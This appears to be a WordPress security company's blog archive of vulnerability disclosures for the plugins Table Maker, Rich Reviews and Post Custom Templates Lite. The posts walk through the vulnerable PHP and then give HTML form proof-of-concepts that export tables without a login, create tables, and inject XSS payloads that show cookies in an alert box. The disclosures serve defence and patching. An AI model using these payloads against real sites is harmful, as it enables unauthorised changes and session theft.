19 Dec

Is This What a Hacker Would Be Targeting the Table Maker Plugin For?

Last week we mentioned that we had recently seen what looked to be probing for the usage of the SendinBlue Subscribe Form And WP SMTP and another plugin. That other plugin is Table Maker, which we had been seeing requests for its readme.txt like this: /wp-content/plugins/table-maker/readme.txt. One of the few possible explanations for requests like that is that someone is probing for usage of the plugin to know what websites to exploit through a vulnerability in the plugin.

In SendinBlue we found a SQL injection vulnerability that matches claims of hackers targeting SQL injection vulnerabilities in code whose result is then passed to the unserialize() function. We have yet to see any evidence that the claims are true, but whether they are true or not, it might explain a hacker’s interest (hackers have been known to target vulnerabilities that don’t actually exist). In looking over Table Maker we found several security issues that involve code around a similar issue, but we didn’t find something that would be obvious for a hacker to exploit. If you see some other issues that hackers might be targeting we would love to hear about it.

Update (December 20): Thanks to some help from J.D. Grimes in the comments of this post, we have now figure out how PHP object injection could have occurred through SQL injection issue mentioned later in the post, which seems like it would be what a hacker would have been interested targeting in the plugin.

Unlike SendinBlue the developer of Table Maker has now fixed the issues we noticed.

As of version 1.6, the function get() in /inc/class-wpsm-db-table.php improperly handled the security of a SQL statement that had its result unserialized:

94
95
96
97
98
99
100
101
102
103
public function get($id){
	if( is_array($id) ){
		$id = sprintf('(%s)', implode(',', $id));
	}
	else {
		$id = sprintf('(%d)', $id);
	}
	$row = $this->db->get_row("SELECT * FROM $this->table_name WHERE id IN $id", ARRAY_A);
	if($row){
		$row['tvalues'] = $this->unserialize($row['tvalues']);

Since the value of $id can come from user input, a prepared statement should be used when generating the SQL statement in that to prevent the possibility the input could include SQL code that would run when SQL statement in it is processed. We couldn’t find a way that could be exploited though, since unless you can cause the value of $id to be seen as an array, it is limited to an integer in the SQL statement. In version 1.9 that was changed to use a prepared statement:

93
94
95
96
97
public function get($id){
	$query = $this->db->prepare("SELECT * FROM $this->table_name WHERE id IN (%d)", $id);
	$row = $this->db->get_row($query, ARRAY_A);
	if($row){
		$row['tvalues'] = $this->unserialize($row['tvalues']);

We should note here that unserialize being used in the above code is not PHP’s, but this:

123
124
125
private function unserialize($item){
	return unserialize(base64_decode($item));
}

When we looked around at where that function gets called and therefore what the value being passed to it could be, we noticed another security issue.

The function xml_download() ran when WordPress generates pages as it ran once WordPress has loaded activated plugins:

30
add_action('plugins_loaded', array($this, 'xml_download'));

That function then allowed anyone access to the get() function:

395
396
397
function xml_download() {
	if(isset($_POST['wpsm-export-table'])) {
		$result = $this->db->get( $_GET['table'] );

We didn’t see away that could pass something that is seen as an array with that.

That function will export an XML copy of a table made through the plugin. The only place it looks like their UI for doing that is in the plugin’s admin page, which was usually limited to only those logged in as Administrators, while the code allows even those not logged in to do that export. That would probably be of little concern if all of the tables are publicly accessible, but in other instances it could be of more concern. The lack of proper restrictions on access to the plugin’s admin functionality was not restricted to this code though.

That was fixed by moving its functionality in the next piece of code we will focus on.

After looking at how it might be possible to cause SQL injection occur in the code shown earlier, we started looking at if it would be possible for an attacker to set the value that would be pulled from the database and the unserialized instead.  What we found as we looked over things is that the plugin had handled requests in the admin area insecurely in way that is common enough that just that type of issue is something that we know check for during security reviews of plugin that we do as part of our service and separately.

The plugin registered the function handle_requests() to run during admin_init:

29
add_action( 'admin_init', array($this, 'handle_requests') );

What is very important to understand about that is that when accessing certain URLs that will cause the function to run even if the requester was not logged in to WordPress. That can lead to serious issue if the code does not have proper security checks in place, which was the case with this plugin.

The only restriction before getting to functionality of that function was to check to see if the function is_plugin_page() returns true:

305
306
307
public function handle_requests() {
	if( !$this->is_plugin_page() )
		return;

All of the things that checked can be true without being logged in:

299
300
301
302
303
private function is_plugin_page() {
	if( !is_admin() || !isset($_GET['page']) || $this->page_slug != $_GET['page'] || (!isset($_GET['action']) && !isset($_GET['action2'])) )
		return false;
	return true;
}

The rest of the code in handle_requests() allows for adding, editing, deleting, and importing tables into the plugin.

As far as we could find though that wouldn’t allow for setting a value passed to unserialize() that could be used for PHP object injection though. Though maybe someone else sees how that can be done, so let’s go through an example of what happens in that function.

Here is the code in it for adding a new table:

312
313
314
315
316
317
318
319
if($_GET['action'] == 'add' && isset($_POST['wpsm-create-table'])){
	if (!isset ($_POST['table_respon'])) {$_POST['table_respon'] = '';}
	$result = $this->db->add( $_POST['table_name'], $_POST['table_rows'], $_POST['table_cols'],  $_POST['table_subs'], $_POST['table_color'], $_POST['table_respon'], $_POST['table_values'] );
	if($result){
		$sendback = add_query_arg( array( 'page' => $_GET['page'], 'action' => 'edit', 'table' => $result, 'added' => true ), '' );
		wp_redirect($sendback);
	}
}

The POST input “table_values” is the starting place for the “tvalues” being unserialized in the other code. When the function that is passed to, add(), it gets run through serialize():

51
52
53
54
55
56
57
58
59
60
public function add($name, $rows, $cols, $subs, $color, $responsive, $tvalues){
	$name 	= wp_strip_all_tags(wp_unslash($name));
	$rows 		= intval(wp_unslash($rows));
	$cols 		= intval(wp_unslash($cols));
	$subs 		= strval(wp_unslash($subs));
	$color 		= strval(wp_unslash($color));
	$responsive 		= intval(wp_unslash($responsive));
	$tvalues 	= $this->serialize(wp_unslash($tvalues));
 
	$result = $this->db->insert( $this->table_name, array('name' => $name, 'rows' => $rows, 'cols' => $cols, 'subs' => $subs, 'color' => $color, 'responsive' => $responsive, 'tvalues' => $tvalues ) );

Like unserialize, that is not the PHP version, but this:

119
120
121
private function serialize($item){
	return base64_encode(serialize($item));
}

We didn’t see how we could pass a value that would cause PHP object injection through that code, since it would need to be unserialized when passed through it.

The ability to add or edit tables also allowed persistent cross-site scripting (XSS) to occur.

In version 1.9 the rest of the code in the function handle_request() will only run if the user has the “publish_posts” capability and they are visiting plugin’s admin page:

298
299
300
public function handle_requests($current_screen) {
 
	if(current_user_can('publish_posts') && $current_screen->base == 'toplevel_page_wpsm_table_maker') { //Check if user have enough rights

There was code added to prevent cross-site request forgery (CSRF) when taking actions through that.

As we were preparing this post we noticed that because Author level users can now access the admin page for the plugin (they were previously limited Administrator users), there is an issue with authenticated cross-site scripting (XSS), which we will be notify them of.

Wider Warning

Due to the fact that the privilege escalation issue might be being targeted by hackers (and it impacted all previous version) we are adding it to the free data that comes with our service’s companion plugin, so that even those not using our service yet can be warned if they are using an older version of the Table Maker.

Proof of Concepts

Information Disclosure

The following proof of concept will cause an XML copy of a specified table to be offered for download.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[table ID]” with the ID of table to be downloaded.

<html>
<body>
<form action="http://[path to WordPress]/?table=[table ID]" method="POST">
<input type="hidden" name="wpsm-export-table" />
<input type="submit" value="Submit" />
</form>
</body>

Privilege Escalation

The following proof of concept will create a new table.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action='http://[path to WordPress]/wp-admin/admin-post.php?page=wpsm_table_maker&action=add&action2=' method="POST">
<input type="hidden" name="wpsm-create-table" />
<input type="hidden" name="table_name" value="Test" />
<input type="hidden" name="table_values" value="Test" />
<input type="submit" value="Submit" />
</form>
</body>

Persistent Cross-Site Scripting (XSS)

The following proof of concept will cause any available cookies to be shown in an alert box when visiting the page /wp-admin/admin.php?page=wpsm_table_maker.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action='http://[path to WordPress]/wp-admin/admin-post.php?page=wpsm_table_maker&action=add&action2=' method="POST">
<input type="hidden" name="wpsm-create-table" />
<input type="hidden" name="table_name" value="Test" />
<input type="hidden" name="table_values" value="Test" />
<input type="hidden" name="table_subs" value='<script>alert(document.cookie);</script>' />
<input type="submit" value="Submit" />
</form>
</body>

Timeline

  • December 12, 2017 – Developer notified.
  • December 13, 2017 – Developer responds.
  • December 18, 2017 – Version 1.9, which fixes issues.
19 Dec

The Results of Our WordPress Plugin Security Checker Lead to More Serious Issues in Plugin

We recently introduced a new tool to check WordPress plugins in the Plugin Directory for possible security issues. As we continue to look to how we can improve that, we are recording any issues identified by it, so that we can see what kinds of things it is identifying and where they might be room to refine the checks.

In looking over one of the plugins that it identified issues in, what we found was that one of the possible issues was not likely to be exploitable, but did point to the possibility that plugins was not all that securely written in general and lead to us finding a more serious vulnerability in the plugin. That is obviously one data point, but it does indicate that it might be useful for plugins that are identified as having possible issue to have proper security review done. For those using our service they can then vote/suggest to have the plugin receive a review from us and for those that some reason are not interest in the service can always order a review separately.

Unneeded AJAX Registration

The checker identified two possible issues in the plugin Rich Reviews. The first issue identified was:

  • The plugin makes functions accessible to users that are not logged in to WordPress through its AJAX functionality. They should be checked to make sure they are intended to be accessed by those not logged in.

That check will identify code that is safe and intentionally set up to allow those not logged in to access, as well instances where it isn’t intended. In this case it identified something that doesn’t look like it was intended to be accessed by those not logged, but what can be done by those not logged is basically harmless.

For two similar functions the plugin makes them accessible to both those logged in to WordPress and those not logged in. Here is how that looks for one of the functions (the nopriv line allows those not logged in to access it):

add_action( 'wp_ajax_rr_dismissed_help_notice', array(&$this,'ajax_rr_dismissed_help_notice' ));
add_action( 'wp_ajax_nopriv_rr_dismissed_help_notice', array(&$this,'ajax_rr_dismissed_help_notice' ));

Here is the related function:

function ajax_rr_dismissed_help_notice() {
	$this->parent->shopApp->options->update_option('dismissed_help_notice', TRUE);
	die();
}

That will dismiss a help notice from the plugin, which at best might be a bit of a nuisance if someone not logged in caused that to happen. At the same time since that is something that is only shown in the admin area of the plugin, there isn’t any reason that someone not logged in showed be accessing it.

Unintended Validation?

The second issue identified was:

  • User input is being directly output, which could lead to reflected cross-site scripting (XSS).

That would have been caused by any the following three lines in the file /lib/rrShopApp/views/edit_single_index.php:

<form name="single-product-index" id="edit-index-<?php echo $_GET['id']; ?>" method="post">
<input type="text" name="id" value='<?php echo $_GET['id']; ?>' disabled/>
<form method="post" name="delete-listing-<?php echo $_GET['id'];?>" id="deleteListingForm">

In each of those the value of the GET input “id” is being output without being escaped, which could lead to reflected cross-site scripting (XSS). We say lead to because it could be that input was sanitized prior in the code, which would preclude the need for escaping, or in this case was validated, which would limit what could be output.

Before any of those lines can be reached the following check is done:

if (isset($options['product_catalog_ids'][$_GET['id']])) {

So unless the value of the “id” input is contained in $options[‘product_catalog_ids’] the code doesn’t run.

While it is unlikely that could be exploited, it still would be a good idea to escape those previous lines even with that in place and in this case it seems possible that check that limits was not intentionally done with security in mind, so the lack of escaping could be an indication of poor security elsewhere.

Persistent Cross-Site Scripting (XSS)

We recently have been testing out a security tool named OWASP ZAP to see if an automated tool (or more accurately considering the work that needs to be done to get it to be useful, semi-automated) could provide some additional value beyond the kind of security checks we already do during our security reviews. We ran that over the admin pages of this plugin and it identified a possible issue. The issue is something that our normal checking during a security review would have caught as well, though. When we went to look into the details we found that the issue was more serious than what the tool identified.

What the tool identified was that on the plugin’s Options page there was a reflected cross-site scripting (XSS) vulnerability. When checking other plugins we have found that type of issue has been a false positive because it doesn’t understand the implication of a nonce in the request that was included in the requests. In this case there wasn’t a nonce, which meant that there was a cross-site request forgery (CSRF) issue when saving the plugin’s settings as well. That can be combined with XSS leading to a CSRF/XSS vulnerability. That is probably more serious than a reflected XSS issue, though neither is likely to be exploited.

What an automated tool like that doesn’t do is understand the underlying code that leads to the vulnerability. With this vulnerability, as we went to look at the underlying code we found that it was more serious.

The saving of the plugin’s settings is handled by the function update_options() in the file /lib/rich-reviews-options.php. The only requirement in that code to change the settings is that the POST input “update” is set to “rr-update-options”:

112
113
114
115
116
117
118
119
120
public function update_options($init = null) {
	if($init == true ) {
		foreach($this->defaults as $key => $val) {
			if(!$this->get_option($key)) {
			  $this->update_option($key, $val);
			}
		}
	}
	if (isset($_POST['update']) &amp;&amp; $_POST['update'] === 'rr-update-options') {

That function is called when a new instance of the class RROptions is being constructed. A new instance of that class is created when new instance of the class RichReviews is being constructed. That in turns in happens on the last line of the plugin’s main file:

639
$richReviews = new RichReviews();

That means that any time the plugin is loaded, which would be when any page on the frontend or the backend of WordPress is loaded, as long as the plugin is activated, it would be possible to change the plugin’s settings. So someone could send a request to homepage of the website and cause the plugin’s settings to be changed. Through that an attacker could cause malicious JavaScript code to be output on frontend and or admin pages.

Lesser Issues Fixed

On November 3 we notified the developer of all those issues and they replied later that day. On November 13 the two lesser issue that our checker identified were fixed, but the more serious issue with the changing of the settings was not fixed. The version number was not changed, so if anyone that is already using version 1.7.3 would not be prompted to update. On November 14, we notified them that the more serious issue was unresolved. They responded the next day, that would be worked on. Nothing has happened since then.

Proof of Concept

The following proof of concept will change the value of the plugin’s Submit button text to JavaScript code that would show an alert with any available cookies, which would run both frontend pages that show that as well as on the Options page.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]" method="POST">
<input type="hidden" name="update" value="rr-update-options" />
<input type="hidden" name="form-submit-text" value='"><script>alert(document.cookie);</script>' />
<input type="submit" value="Submit" />
</form>
</body>

Timeline

  • November 3, 2017 – Developer notified.
  • November 3, 2017 – Developer responds.
  • November 13, 2017 – Developer release new version of 1.7.3, which resolve less serious issues.
  • November 14, 2017 – Developer notified of unresolved issue.
  • November 20, 2017 – Developer responds.
17 Oct

Vulnerability Details: Persistent Cross-Site Scripting (XSS) Vulnerability in Front-End Only Users

One of the misconceptions we see out there when it comes to the security of plugins is people believing that because a plugin is created by a company as opposed to an individual or because there is a paid element to it, it will be more secure. That clearly hasn’t been the case with the company Etoile Web Design, which hasn’t fixed multiple vulnerabilities we have ...


Our Vulnerability Details posts provide the details of vulnerabilities we didn't discover and access to them is limited to customers of our service due to other security companies trying to sponge off the work needed to create those instead of doing their own work.

For existing customers, please log in to your account to view the rest of the post.

If you are not currently a customer, you can try the service for free for the first month (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a WordPress plugin security researcher please contact us to get free access to all of our Vulnerability Details posts.

05 Jul

Persistent Cross-Site Scripting (XSS) Vulnerability in Post Custom Templates Lite

Unlike most companies providing security services related to WordPress we are interested improving the security of the WordPress ecosystem, so that the average website isn’t required to use any security product or service. That isn’t easy since even the people on the WordPress side of things too often don’t seem interested in that. One new way that we are trying to improve security is by catching serious vulnerabilities in WordPress plugins when they are included in a new version of the plugin (if we had more customers we could expand this to less serious vulnerabilities).

Through that we have already found a number of lesser vulnerabilities that came up in the course of looking into potential instances of the more serious vulnerabilities. So far many of those haven’t been fixed, so those using the plugins would want to be using a service or plugin that notifies of vulnerable plugins to aware of the problem. While there a number of those, from our checking the other ones have not included those vulnerabilities or many of the others we have disclosed, so that is where our service provides you something you can’t get elsewhere (those other data source are missing many recently disclosed vulnerabilities disclosed by others as well).

In a troubling reminder of the poor state of the security of WordPress plugins, often the lesser vulnerabilities we have found are due to rather glaring security problems. That was case with the plugin Post Custom Templates Lite, where in looking into a potential arbitrary file upload vulnerability we found that it was possible for anyone to take actions that are only intended for Administrator-level users.

When the plugin is active it causes WordPress to run the plugin’s function otw_pctl_init() as WordPress loads (in the file /otw_post_custom_templates_lite.php):

80
add_action('init', 'otw_pctl_init', 10000 );

The last line of the function otw_pctl_init() causes the file that handles requests to the plugin’s admin actions to run (in the file /include/otw_pctl_functions.php):

101
include_once( 'otw_pctl_process_actions.php' );

Before doing any of those actions there should be a check to make sure the request is coming from an Administrator and that there is a valid to nonce to protect against cross-site request forgery (CSRF). Instead the only check was if the request includes the POST input “otw_pctl_action”, which indicates which action should be taken (in the file /include/otw_pctl_process_actions.php):

6
if( isset( $_POST['otw_pctl_action'] ) ){

It looks like the most serious issue that could have come out of this at this time was persistent cross-site scripting (XSS) due to the ability to change the plugin’s settings, but if it hadn’t been caught now then down the road actions that have more consequence could have been added and left unprotected.

After we notified the developer of the problem they released version 1.7, which adds a capabilities check before allow accessing to the admin functions:

6
if( isset( $_POST['otw_pctl_action'] ) && current_user_can( 'manage_options' ) ){

It also adds proper protection against CSRF.

Proof of Concept

The following proof of concept will cause any available cookies to be shown in an alert box when visiting the page /wp-admin/admin.php?page=otw-pctl-settings.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/" method="POST">
<input type="hidden" name="otw_pctl_action" value="manage_otw_pctl_options" />
<input type="hidden" name="otw_pctl_custom_css" value="</textarea><script>alert(document.cookie);</script>" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • June 28, 2017 – Developer notified.
  • June 29, 2017 – Developer responds.
  • July 2, 2017 – Version 1.7 released, which fixes vulnerability.
16 Jun

False Vulnerability Report: Cross Site Scripting Vulnerability in WP Job Manager

As part of our cataloging the vulnerabilities in WordPress plugins for our service we come across false reports of vulnerabilities from time to time. So that others don’t spend their time looking over these as well, we post our findings on them. The data on these false reports is also included in our service’s data.

Recently several security related changes were made to the plugin WP Job Manager, while reviewing the changes we didn’t see anything that looked like it would relate to something that would be classified as a vulnerability and needed to be detailed and added to our data set. The cause for one of the changes clarifies that there really wasn’t a vulnerability in that case.

A report was released within the last day claiming that a persistent (also referred to as stored) cross-site scripting (XSS) vulnerability had been fixed in version of 1.26.2 of the plugin.

The first instruction in the proof of concept starts to point that this report might be false:

1.From 'Job Listings' menu select 'Add New'
  http://localhost/wordpress/wp-admin/post-new.php?post_type=job_listing

To exploit this you need to be logged in, which if you had to be logged in as an Editor or Administrator level user to access the page wouldn’t be a vulnerability normally since they have the unfiltered_html capability that allows them to do the equivalent of XSS.

We found the page is only accessible to Administrator level users, which beyond the unfiltered_html capability, normally have the ability to do almost anything, so for example, they would normally be able to modify a plugin’s code to remove any security checks.

The second instruction in the proof of concept is:

2.Enter this payload for title of job
  <script>alert('Ehsan Hosseini - Xss Stored')</script>

When adding a job, the page that comes up looks like the page that comes up when editing a post or page:

That gives a visual indication that plugin is likely using standard WordPress functionality for creating jobs, which would also indicate that it is probably using the standard WordPress security handling and therefore properly secured already.

After noticing that, we removed the unfiltered_html capability from Administrators in the install of WordPress we were using to test this out and found that if we tried the proof of concept the JavaScript code seen in instruction 2 was properly sanitized, so the plugin was already properly obeying the WordPress security model.

The change made to plugin related to this was to escape the job title using esc_html() in several locations,  which isn’t necessary, but doesn’t hurt to do.

14 Jun

Vulnerability Details: Persistent Cross-Site Scripting (XSS) Vulnerability in RSVP

From time to time a vulnerability is fixed in a plugin without the discoverer putting out a report on the vulnerability and we will put out a post detailing the vulnerability so that we can provide our customers with more complete information on the vulnerability.

The changelog entry for version 2.3.8 of RSVP and Event Management Plugin is “Fixed an issue where the note field ...


Our Vulnerability Details posts provide the details of vulnerabilities we didn't discover and access to them is limited to customers of our service due to other security companies trying to sponge off the work needed to create those instead of doing their own work.

For existing customers, please log in to your account to view the rest of the post.

If you are not currently a customer, you can try the service for free for the first month (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a WordPress plugin security researcher please contact us to get free access to all of our Vulnerability Details posts.

30 May

Vulnerability Details: Persistent Cross-Site Scripting (XSS) Vulnerability in Question answer

From time to time vulnerabilities are fixed in plugin without someone putting out a report on the vulnerability and we will put out a post detailing the vulnerability. While putting out the details of the vulnerability increases the chances of it being exploited, it also can help to identify vulnerabilities that haven’t been fully fixed (in some cases not fixed at all) and help to ...


Our Vulnerability Details posts provide the details of vulnerabilities we didn't discover and access to them is limited to customers of our service due to other security companies trying to sponge off the work needed to create those instead of doing their own work.

For existing customers, please log in to your account to view the rest of the post.

If you are not currently a customer, you can try the service for free for the first month (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a WordPress plugin security researcher please contact us to get free access to all of our Vulnerability Details posts.

19 May

Vulnerability Details: Persistent Cross-Site Scripting (XSS) Vulnerability in WP Booking System

An advisory was released by the JPCERT/CC and IPA that a persistent cross-site scripting vulnerability had been fixed in version 1.4 of the plugin WP Booking System, which was discovered by “Satoshi Takagi of Cryptography Laboratory,Department of Information and Communication Engineering,Tokyo Denki University”. In looking at the changes made in that version we found that this involved form submissions for the plugin.

The ...


Our Vulnerability Details posts provide the details of vulnerabilities we didn't discover and access to them is limited to customers of our service due to other security companies trying to sponge off the work needed to create those instead of doing their own work.

For existing customers, please log in to your account to view the rest of the post.

If you are not currently a customer, you can try the service for free for the first month (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a WordPress plugin security researcher please contact us to get free access to all of our Vulnerability Details posts.